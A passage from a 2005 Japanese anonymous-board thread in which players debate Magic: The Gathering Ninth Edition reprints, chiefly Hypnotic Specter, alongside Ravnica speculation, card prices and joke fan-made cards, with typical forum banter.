まあ、この二つは一枚で同時に攻めるから魅力が有るんだが。
137 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 21:00:02 ID:EHjFcTg3
>>135
土地っつーか場だな
138 ：名無しさん＠お腹いっぱい。：2005/06/29(水) 22:06:21 ID:gKKbK+Sa
いっそSpecter's Shroud / 死霊の埋葬布を付けてアタックするのはどうか＞ヒッピー
マナコスト的にも噛みあうぜ。
139 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 22:33:54 ID:W+nNrp+L
ヒッピーの立ち位置って、だいたいインベイジョンの頃の
燃え立つ死霊と重なると思うんだよね。殴り始めるターンから言っても。

入るデッキも似たような方向性になるんじゃないだろうか。
140 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 22:43:11 ID:ZADLAiUL
速攻装備って採録されんのやな
141 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 23:04:41 ID:WZEEniPR
(2)(黒)(赤)
２/２
速攻、選んでディスカード

(1)(黒)(黒)
２/２
ランダムディスカード

絶対後者の方が強いよね
ヒッピー大したことないって言ってる奴の気が知れん
活躍できるかはラブニカでの黒の強さと環境によるけどカード単体としては鬼強い
142 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 23:05:44 ID:B5a4QIPx
>>139
儀式ないから違う
143 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 23:07:05 ID:BlhG8n3a
ヒッピーが強かったんじゃなくて、ヒッピーをサポートするハンデススペルが強力だったのはあると思うよ。
特に今レガシーの大会だけに出てる身としては。

とりあえず>>123は間違ってる。
ヒッピーを除去できないデッキなんて存在しないと言っても過言じゃないエターナル環境でも
黒がメイン色なら採用されるクリーチャーであることを見ても明らか。

問題は、このクリーチャーを恐怖の対象としてみること。
強力であるが、制圧系のクリーチャーではない。
極楽鳥と同じレベルで考えていいと思う。

見たら焼けば問題なし。
後半出ても問題なし。
144 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 23:13:43 ID:B5a4QIPx
>>143
別に間違ってないだろ
弱いとは言ってない
でも簡単に除去できるからそれほど脅威でもない
145 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 23:21:14 ID:ZADLAiUL
>>139
確かに儀式禁止前の燃え立つ死霊はうっとうしかったが

次のんで環境がどう動くかだな
以前よりは早くは動けんだろうて
146 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 23:28:16 ID:sa1K0Fu0
>>143
ヒッピーを対象に恐怖を撃つのかと（ｒｙ

やっぱ土地を捨てさせんのがヤバイよーな。下手すると運ゲーになりかねん。
環境が変わったといっても、同マナ域に絶対的な制空権を持つ生物がスタンにいない以上、強力なことに変わりはない。

少なくともセラ天や兄貴のようにまったく使われないことはなさそうだ。
Hypnotic Specterは現代戦闘を基準に考えても、コストパフォーマンスのいいクリーチャー。
147 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 23:36:16 ID:xlzTg9H8
>>143
確かにヒッピーは黒だから《恐怖》の対象としては不適正
148 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 23:37:01 ID:Zi4+cnK3
アーナムジンは時代が悪すぎ
幻影ケンタや６/６ワームと同じ時代じゃね・・。
149 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 23:39:07 ID:BlhG8n3a
>>144
実際除去できなきゃ高確率で詰んでくので
「除去できない～」のくだりは危険発言よ。
スタンダードの「簡単」とエターナルの「簡単」は段違いなわけだから。

>>146
定型レスthx

たしかに土地がおちるのは脅威だけど、4ターン目に手札に土地があるほうが問題。
むしろ土地を捨ててくれた方がありがたい。

この環境のヒッピーの嫌らしいところは、ビートダウンで最後の一押しに使うものが抜かれる可能性の高いこと。
困窮もあるわけで、除去を潰したのちアタックくらいのスピードになると
狙われるのは4マナ5マナ域のｶｰﾄﾞかな。

そこら辺で強力なカードってなんかあったっけ?
150 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 23:45:00 ID:pNJOnvTc
とりあえず最初に浮かんだのは《北の樹の木霊》と《曇り鏡のメロク》
151 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 23:45:51 ID:aZOtGDIX
セットモックスから困窮＞ヒッピーか､すね当て＞ヒッピーが最高の回りだろうか。
152 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 23:57:28 ID:sa1K0Fu0
>>149
ランダムディスカードの嫌らしさって最近まったく味わってなかった気がする。楽しみだわぁ（n‘∀‘)n
メロクが落ちたら歓喜乱舞するね。ヒッピー使う側としては一番見たくない生物。まぁそうそううまくいかないだろうがｗ
新環境で流砂が効かないのはプラスポイント。
ただやっぱ昔と同じように除去系デッキ相手には活躍できないだろうね。昔も今も赤にヨワスｗ
153 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 00:08:10 ID:w54MtXkn
まあ、ヒッピーは入るデッキの方向性も強さも想像付くからまだいいんだ。

…Kird Apeってどうなんよ？
154 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 00:12:13 ID:at5TtXib
>>153
taigaがあるなしの問題なしに、たしかに強力。
でも今赤緑のデッキってどうかな、って感じでなぁ…

ラヴニカで赤緑のギルドがどうなるか次第だと思う。
俺は使ってみたい。
155 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 00:21:47 ID:CVxtWrvz
今はトロンの天下だけど、赤緑ステロイドの安定感はいつの時代も健在
156 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 00:30:06 ID:mBUIN94r
ステロイド組めって事だろ
157 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 00:38:36 ID:hUoazojN
たしかジャッカルの仔はデザイン的に失敗で、
赤の１マナにパワー２のクリーチャーを作ってはいけなかったって話を聞いたことあるんだが、
赤単で使えなければいいんだろうか
158 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 00:39:30 ID:CzHHBNcR
猿を再録するのに対になる沼トロルを再録しないとはorz
159 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 00:47:37 ID:aRcVUwgE
>>154
緑が元友好色を敵に回しさえしなければ強かったのにな。
沼か島コントロールしてれば+1/+2でいいんじゃねーのｗ
160 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 02:10:39 ID:CzHHBNcR
緑ベースのデッキに赤を足すのは良いが
赤ベースのデッキに緑を足すのは抵抗があるなぁ
161 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 03:20:25 ID:egWfQaIu
赤緑で赤よりなんて生物デッキじゃよわいだろ
162 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 03:56:06 ID:0sUeAvOZ
まあ、赤緑ビートダウンはいつの時代にも定番だったから出てくるんじゃないか
163 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 08:32:12 ID:jzQwnakS
地獄の番人でナイトメアサバイバルっぽい事できないかな？サーチカードはいちおうけちな贈り物あるし。
164 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 09:11:36 ID:7jMCQ93s
もう辞めてるけどいっちゃうぞー

なんだかんだ騒がれてるヒッピーはセラ天やアーナムの二の舞の匂いがする
能力は強いのに火炎舌カヴーに焼かれまくりで舞台から消えていったあの天使みたいな
昔みたいに1T目→ダクリでコンチニハ、2Tにヒム飛んでこないし
ランダムは確かに痛いけどなーんか・・・ねぇ。デッキ入れても微妙みたいな

再録されても最近のエキスパッションのパワーカードに飲み込まれて終の匂いがしてならないｗｗｗｗｗ
165 ：ｷｯｶｰ戦隊ﾎﾞﾙﾊﾞｰﾌｧｲﾌﾞ!! ◆VOLVERcOBU ：2005/06/30(木) 09:37:39 ID:RX/rtbwS
ｾﾗ天→賛美天使&火炎舌
ｱｰﾅﾑ→ｹﾝﾀ&ﾜｰﾑ
ｶｰﾄﾞﾊﾟﾜｰ負けで使われなかった｡

ﾋｯﾋﾟｰに対抗出来る各色ﾃﾞｯｷのｶｰﾄﾞは?
白系→ﾚｵﾆﾝ→除去する
青系→枷→1ﾀｰﾝ遅い
黒系→黒ｴｺｰ→1対1交換
赤系→焼き全般→上に同じ
緑系→他の色から借りる

まぁ生物なんだから除去されるのが普通だな｡
あとｴｷｼﾊﾟｯｼｮﾝは間違いだと何度(ry
166 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 10:46:58 ID:rrG/+Qib
仮に回ったらの話だけど
1T:モックス、困窮or精神ねじきり
2T:ヒッピー
でもかなりの割合でヤバイけどね。

そもそもこの環境はハンデスが弱いと目されているけれど、
実はいまほどハンデスが充実している時期はない。
困窮や精神ねじきりは優秀なスペルだし、
霊光の追跡者も、実はそうとういやらしくて強い。
アーナムジンやセラの天使が環境に合わなかったのとはちょっとわけが違うと思う。

てかよくよく考えると焼かれるとか除去されるってのは
クリーチャー自体の弱点であって、ヒッピーの弱点じゃないよな。
167 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 12:20:46 ID:XEjqR6ZC
赤使われて焼かれないほうが不思議さ
168 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 12:41:09 ID:UO2z/0Pu
セラ天やアーナムあたりはより優秀な後継者がいたが
ヒッピーは同系じゃ今だほぼ最強なわけで、一緒にするのもどうかと
169 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 12:51:08 ID:lc/MJlTc
ネズミや証人が強いのは除去に強いというのがあるな。
170 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 14:03:50 ID:VE4EXENe
死霊の強さは環境の赤の流行に依るでしょう
仇麻呂＋荒廃の思考デッキがどれだけ流行るかだと思います
171 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 15:48:45 ID:32y0PdNQ
極楽鳥ってラヴニカに入るの？今さらながら買おうと迷ってるんだが＜極楽鳥
172 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 15:53:29 ID:VRlc8jUL
緑がらみの多色デッキ組むなら、極楽鳥4枚もってても損はない気がする
一応ラヴィニカに入る、って公式に宣言はされてる
173 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 16:37:52 ID:32y0PdNQ
サンクス。
極楽鳥もどきじゃないよね？
174 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 16:52:22 ID:MSSs0x0H
神河謀反が発売する前から確定事項として発表されてる
175 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 18:01:45 ID:0sUeAvOZ
ラノワールと極楽鳥を同時に出したらどうなるかくらいWoCも分からないのかねえ
176 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 18:03:00 ID:grB0RZGn
どうなるんだい？
177 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 18:03:23 ID:FOB+Ar3b
パイヤーズ
178 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 18:14:59 ID:32y0PdNQ
みんなありがとう。ずっと極楽町もどきじゃないかと心配してたんだ自分…
179 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 18:33:31 ID:w54MtXkn
9版導入からラヴニカ導入までの間、
スタンダードにエルフはいるけど鳥はいない期間があるんだな。
折角ラノワールの荒原が入っても、デスクラはちと組みにくいな…

で、ラヴニカ入ったら1マナブースト8枚か。
180 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 18:35:59 ID:wm6pcSxF
多分、極楽鳥と長老だけ使われる
181 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 18:42:42 ID:QpwAdaQG
ヒッピーが帰ってくるのか…
当時自分カラオケでいつもウィンスペクターのＯＰを歌っていたおけげでこいつはウィンスペクターと言われてた。
まあ、それほどまでに強かったから。青使いとしては対処出来なければ必ず負けていた。
黒ビートならダリチューと共に４枚は入っていたな。そして、一旦場に出たら速攻で殺されたクリーチャーだった。
（ライトニングボルトが速攻でいったさ）
今はダリチューがないとはいえ、場に出たらやはり第一破壊目標になると思います。
もう、精神の槍、困窮、綺羅、空民の鏡守り、水面院の視線曲げ、秘密の帳で夢がひろがりんぐｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
182 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 18:51:05 ID:IDoPgrGZ
うん



ﾓﾁﾂｹ
183 ：181：2005/06/30(木) 18:52:22 ID:QpwAdaQG
うわっ、一行目のおけげは、おかげです。

残虐の手が出たなと思ったら、流砂が帰ってきたのか。世の中うまいこと出来てるね。
184 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 18:57:21 ID:qVMWL3NB
うん

2行目だな
185 ：181：2005/06/30(木) 18:59:51 ID:yE8KDKBc
>>184

どわー！　飯食いに行ってくる。
186 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 19:21:40 ID:w54MtXkn
うん

慌てて喉に詰めるなよ
187 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 19:22:40 ID:yYMMDtJZ
通信簿に
「もっと落ち着きが欲しいところです」
と書かれてそうだな。
188 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 21:27:11 ID:FafMhiGU
わろた
189 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 21:49:40 ID:Phamy8Gv
このスレは今から>>181の慌てぶりに萌えるスレになりました
190 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 22:26:00 ID:eeZ2F2ES
>>181
なんかゲームのキャラクターみたいなやつだなｗ

ヒッピーは確かに除去の薄い青には刺さるんだけど、泥棒カササギとにらみ合いになりそうな予感。
まあ枷の落ちた青に果たして未来があるのかどうかわからんが。
というか、ラブニカ後は単純な黒ｖｓ青の構図にはならないかもしれん。
191 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 23:05:31 ID:TF7w4rG8
ラブニカ後なんて誰にもわからんよ
192 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 23:10:44 ID:lc/MJlTc
ミラデインブロックが落ちるまでは使われないんじゃないかと＞ヒッピー
193 ：RUTTE ◆RUTTEs8hhU ：2005/06/30(木) 23:11:27 ID:2A48FsCc
>>165
ついにトリップを見つけてきたか。おめでとう。

ここも登場キャラみたいなのが増えてきたな。あげ厨とかここの奴とか。
194 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 23:22:11 ID:TF7w4rG8
人はそれを空気とか糞コテと言う
つうかこいつ自身が何なのかまったくわかんね
195 ：ｷｯｶｰ戦隊ﾎﾞﾙﾊﾞｰﾌｧｲﾌﾞ!! ◆VOLVERcOBU ：2005/06/30(木) 23:25:44 ID:RX/rtbwS
ﾑｼｬｸｼｬしてやった｡
初めはﾈﾀのつもりだった｡
いまではすっかり空気と自覚している｡
196 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 23:33:50 ID:32y0PdNQ
今思えばミラディンブロックは金が物を言うセットだったな
197 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 23:49:40 ID:+Bn49iUY
金属ですから
198 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 23:51:15 ID:6fdqE6WT
神河ってところどころ強いカードはあるけど何か地味だよな。
199 ：名無しプレイヤー＠手札いっぱい。：2005/06/30(木) 23:54:16 ID:FOB+Ar3b
魂力を神河物語の頃から出しておけばなぁ…
200 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 00:08:48 ID:JWEQm9SS
神河はマスクス
ラヴニカはインベイジョン
201 ：181：2005/07/01(金) 00:13:45 ID:Qj09lXnk
何時の間に萌えキャラに！！

ミラディンブロックが失敗というか空気が読めてないというか。
神河を上手い事表現してるカードは空虚自身だと思うよ。（かわいい女の子のカードがたくさんあればイメージ変わるのに…）
でもウィザ－ド社がミラディンブロックが落ちたあと、（バランスの取れた）１０年前の環境に戻したいというのは良く分かる。
ラヴニカの出現でスタンの環境がどうなるのか楽しみですね。（特に青の方向性）
202 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 00:17:07 ID:suwl6h/b
つーか、マローを辞職させない限り同じことの繰り返しだと思うんだよな
203 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 00:19:07 ID:wNdNczCp
>>201
あんたフクイ？または同系統の人？
204 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 00:44:20 ID:yrZa6fMQ
>>200
ミラディン＝ウルザってことか、なんか納得
流れ的には正にそんな感じなんだなぁ
205 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 01:35:39 ID:fdKHOLeO
まあ、あれだ。
古参・じじいプレイヤーとしてはヒッピーヒッピーと騒ぎたいわけだ。
（俺も4thからだからじじいだけど）

流石に最強まではいわんけど、セラエン、アーナムジンの二の舞だけはないんでないの？

とりあえずトロンは2ターン目と言わず3ターン目に出されても死亡だと思う。
緑コン系も致命的だな。
青コン系は通ったら枷ぐらいしか対抗策ないし。ゴーレム・カササギでブロックか？

なんだ十分強いじゃん。
206 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 01:38:36 ID:cKoKmAcB
ヒッピーは装備付けたり除去と手札破壊混ぜて作ればかなり強くなりそうだ。
207 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 02:36:37 ID:gNO/DQtP
せっかくだからアビシャルも残しておいて
スペクター８枚体制も楽しんでみたかった気もするぜー
ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ
208 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 02:53:52 ID:pNf7U1UU
黄道の猿は入って、黄道の雄鶏は入らない不条理！
イラストといい平地渡りといいステキなのになぁ
209 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 03:06:32 ID:sln6AY+v
スペクターが使えなくなるパターン
・黒デッキが弱い　⇒　赤マンセー白マンセー
・クリーチャーデッキが弱い　⇒　スペルマンセー
・普通に強い天敵がラヴニカに現れる　⇒　３マナ2/2飛行プロ黒みたいな
210 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 03:39:08 ID:Px/8412t
うへぇ
そいつはヾ( ﾟдﾟ)ﾉ"ｵﾃｱｹﾞだ
211 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 06:58:42 ID:xSJ1tgpZ
お前ら９版の話で盛り上がってるが、ブロック構築はやらないのか？
212 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 07:00:19 ID:kr8bG1e1
グランプリも近いしな。
でもブロック構築スレあるので･･･
213 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 07:03:06 ID:xSJ1tgpZ
>>212
ブロック構築スレは昨日は５レスしかなかった
一昨日は０レス．．．

ここは今日だけで１０レス以上．．．
ブロック構築って何でこんなに人気ないんだろう？
214 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 07:15:32 ID:Ig0k9wUN
きっとみんなスタンくらいのカードプールがお好みなんじゃ
215 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 07:25:46 ID:sln6AY+v
ブロック構築自体は人気あるだろ
神河が人気ないのかイベントスケジュールが悪いのか
寶の盛り上げが細すぎるのか
216 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 10:27:19 ID:+A7EBKYS
今ふと思ったんだけど9thのドラフトかブロック構築じゃ最強クラスじゃね？ヒッピー


ｽｺﾞｽｗｗｗｗｗｗ
217 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 11:02:10 ID:y6vmRDnB
つ《甲鱗のワーム》+《web》
218 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 11:58:32 ID:o6IKjXwT
>>217
それはひょっとしてギャグで言って(ry
関係無いけどクロマティーの実写映画がピンチやね
ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ
219 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 14:42:33 ID:rIU7xnPf
最強厨
220 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 16:23:36 ID:P9o0OAD+
おまいら折角帰ってくるんだからバベルの話でもしようぜ
けちで白歴伝、機知の戦い、＋何持ってきたら勝てる？
証人はすぐ落ちるから除外な。
221 ：クソスレの創造主：2005/07/01(金) 16:25:36 ID:e3+eJm4K
782 ：安井やすお ◆JpE2FWkKbI ：2005/06/29(水) 21:22:53 ID:???
ドキューーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーン☆
ドキューーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーン☆
ドキューーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーン☆
ドキューーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーン☆
ドキューーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーン☆
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ドキューーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーン☆
222 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 16:56:51 ID:P/2GniRt
>>220
MRいつ落ちるんだっけ？短い間でも証人と全ての太陽の夜明け
入れてデッキ組んだほうが良いんじゃない？
223 ：名無しさん＠お腹いっぱい。：2005/07/01(金) 16:57:33 ID:4CaDo1x3
白歴伝+機知の戦いだけでも結構いける気も。
機知壊せても次が出てくるし。
224 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 17:10:40 ID:P/2GniRt
>>223
その二つをけちで引く為に持ってくる、あと2枚のカードを何にしようか？
っていう話だろ？

>>220
青本殿でも持ってくればいいのかな？機知の戦いの為にデッキに
いろんなカードを詰め込むだろうから、シルバーバレットでその時
有効なものを引くのが一番いいかも。
分かち合ううんめ・・・ゲフッ
225 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 17:55:36 ID:/OFL6z0p
>>220
黒混ぜて教示者は？
226 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 17:55:52 ID:UvCHOFZr
９版入ると白歴伝が意外と熱いんだよなぁ。
ドラゴン変化も帰ってくるしさ。
227 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 18:20:59 ID:P9o0OAD+
9版入った直後なら
けちから白歴伝、機知、証人、全ての太陽の夜明けの4枚で2ターン後くらいには勝てるんだけどな。
ラブニカに期待か
228 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 18:56:19 ID:rHoNr6k0
時々で良いから、《回収/Reclaim》のこと思い出してください
229 ：エルフの隠し場所：2005/07/01(金) 19:26:38 ID:fvO7YIAy
オレオレ
230 ：1wウンコＳＰ ◆9rUFLNG76M ：2005/07/01(金) 20:27:48 ID:1wUNKOsP
基本セットを変更する必要ってないんじゃないか？
おまいらどう思う？
231 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 20:29:42 ID:kZiU3PjW
《よりよい品物》はどうでしょうか？
《怨恨》も再録だと勘違いして買ってきちゃったんだけど…
ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ
232 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 20:43:08 ID:Vs2RcN72
どんな勘違いだw
233 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 20:45:03 ID:2GaZZwvd
>>231
当時は殴るﾀｲﾌﾟのエンチャントレスデッキに入れたり、ウェザーシード・ツリーフォーク生け贄にして
遊んでたけど、今はどうだろうな
234 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 20:51:52 ID:JWEQm9SS
昔は祖先の仮面と組み合わせてたな。ﾅﾂｶｼｽ
235 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 21:21:34 ID:a3jv8r4O
手っ取り早くパワー上げて生物を生け贄にしても
アドバンテージを失わないものとして矛槍があるけど
これも９版には入ってないからなぁ…
ヾ( ﾟдﾟ)ﾉ"ｷﾁｰ
236 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 21:32:04 ID:LAOQv8N7
９版て確定情報もう出てんの？
237 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 21:53:59 ID:JWEQm9SS
品物出た状態で神河のドラゴン・レジェンドを
出しては食い、出しては食いしてれば
それだけでゲームに勝てそうな気がしてきた。
陽星で動きを止めて、さゆりでフィニッシュ
238 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 21:58:28 ID:hrfaMlQp
それだけのマナを使えるなら何やっても勝てるだろｗ
239 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 22:07:59 ID:HlnjRyke
ヒント：普通に殴る
240 ：名無しプレイヤー＠手札いっぱい。：2005/07/01(金) 22:43:30 ID:BsdH62RH
ヾ( ﾟдﾟ)ﾉ"ｿﾚｦｲｯﾁｬｰｵｼﾒｪﾖｫ!!
241 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 00:18:22 ID:gpZoAoCu
道化1000
ラノワール荒原420

買いですか？
242 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 00:20:47 ID:R4mqOlA0
>>241
荒原の場合はもし再録されたらその倍以上の値段になるな。
243 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 00:30:07 ID:yBrnBTEW
ヴェクの聖騎士90
ヒッピー240

…いいのか？
244 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 00:31:20 ID:I65UgYI0
今回のダメランで一番弱いのって？
245 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 00:32:00 ID:fFvtPwhM
白緑。
246 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 00:33:50 ID:D3bvAr/C
誰も使わないもんな。緑と組むなんてプライドが許さんよ。
対抗色ダメランが採録されたら本当に友好色を決めなおしてほしいんだが。
247 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 00:36:59 ID:R4mqOlA0
たぶん９版で友好色、対抗色の概念を壊そうとしているのではないかな？
248 ：フィーバー：2005/07/02(土) 00:43:14 ID:SCeR9wQq
今の黒緑なんて俺たち有効色と言わんばかりの相性の良さだもんねえ。
249 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 00:57:39 ID:Q0QUPWlE
赤黒の方が要らなそう　リアニメイトでも組む？
250 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 00:59:59 ID:R4mqOlA0
とりあえず黒緑、青緑が高そうだな。
251 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 01:37:44 ID:oU1uxkNy
>>247
そうでもないよ
今まで通り敵対色用のサイドカードが２枚ほど各色にある
ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ
252 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 01:45:40 ID:D3bvAr/C
じゃ白に対緑用カードください。
(2)白 ソーサリー
全ての緑のクリーチャーを破壊する。それは再生できない。

とか、
2(白)　インスタント
全ての緑のパーマネントをそのオーナーの手札に戻す。

みたいなの作ってくれませんかorz
253 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 01:47:48 ID:pQRxMD3U
白は日中の光の各色版を出せばいいと思う。
254 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 02:03:52 ID:9WmR2XWf
>>253
あれは白の黒に対する敵対心をよく示す素敵なカードなんで対黒だけにしてほしいな＜光
光で身動き取れなくなるというのも黒らしくていい
張られると泣きそうになるが
255 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 02:24:42 ID:D3bvAr/C
解呪を白に戻して
(2)白 エンチャント(場)
緑のクリーチャーは攻撃に参加できない

くらいのものを作れば。
256 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 02:56:24 ID:9t6s2WnP
そろそろオリカスレにどうぞ
257 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 02:56:59 ID:GDz8joxU
{3}{W}
エンチャント（場）
すべてのクリーチャーは攻撃に参加できない

でいいんじゃね
258 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 03:01:42 ID:r4dog1zi
３Ｗ
ソーサリー
すべての土地を破壊する

でいいんじゃね？
ヾ( ﾟдﾟ)ﾉ"ｹﾞﾄﾞｰｿ!!
259 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 03:02:14 ID:fFvtPwhM
なぜ平和の番人がクリーチャーなのか良く考えろ。
260 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 03:12:47 ID:GDz8joxU
クリーチャーじゃなかったら番人じゃないから
261 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 03:17:38 ID:RWHK+Eeq
緑をいじめるため
262 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 03:40:19 ID:G/eOEscS
自然破壊
１(白/青/黒/赤)←ギルドマナ
ソーサリー

対戦相手が森と緑のクリ－チャーをコントロールしており、
対戦相手の墓地に緑のカードが置かれている場合、あなたはこのゲームに勝利する。

白を支払った場合、次のゲーム開始時にあなたのライフは30になる。
青を支払った場合、次のゲーム開始時のあなたの手札の枚数は８になる。
黒を支払った場合、次のゲーム開始時の対戦相手の手札の枚数は５になる。
赤を支払った場合、次のゲーム開始時に対戦相手のライフは15になる。
263 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 04:57:25 ID:aAKRlZq9
>>262
くだらねーオリカを貼って喜んでるんじゃねーよ、この池沼が。
264 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 05:17:04 ID:G/eOEscS
別に喜んでないし
265 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 06:00:47 ID:DxDuHiU6
神河勃起
266 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 06:25:24 ID:oOu2+Rsv
オリカはオリカスレで
267 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 06:31:29 ID:seIh37kL
>>264
自己満に浸って喜ぶ為じゃないと。
じゃ何が目的で貼ったのかな？
268 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 06:31:39 ID:DxDuHiU6
すいません
